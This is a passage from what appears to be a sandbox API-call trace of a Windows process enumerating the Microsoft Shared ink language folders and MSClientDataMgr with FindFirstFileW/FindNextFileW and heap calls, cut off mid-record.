ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0080.062] GetProcessHeap () returned 0x470000 [0080.062] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.062] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.062] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.062] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.062] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.063] GetProcessHeap () returned 0x470000 [0080.063] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.063] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0080.063] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0080.063] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0080.063] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0080.063] GetProcessHeap () returned 0x470000 [0080.063] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.063] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.063] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.064] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.064] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.064] GetProcessHeap () returned 0x470000 [0080.064] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.064] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0080.064] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0080.064] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0080.064] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0080.064] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0080.065] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0080.065] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0080.065] GetProcessHeap () returned 0x470000 [0080.065] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.065] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.065] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.065] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.065] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.065] GetProcessHeap () returned 0x470000 [0080.065] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.065] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0080.065] GetProcessHeap () returned 0x470000 [0080.065] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.066] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.066] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.066] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.066] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.066] GetProcessHeap () returned 0x470000 [0080.066] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.066] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0080.066] GetProcessHeap () returned 0x470000 [0080.066] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.066] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.066] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.067] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.067] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.067] GetProcessHeap () returned 0x470000 [0080.067] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.067] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0080.067] GetProcessHeap () returned 0x470000 [0080.067] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.067] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.067] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.067] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.068] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.068] GetProcessHeap () returned 0x470000 [0080.068] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.068] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0080.068] FindClose (in: hFindFile=0x32552c0 | out: hFindFile=0x32552c0) returned 1 [0080.068] GetProcessHeap () returned 0x470000 [0080.068] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0080.069] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0080.069] GetProcessHeap () returned 0x470000 [0080.069] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0080.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32552c0 [0080.070] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, 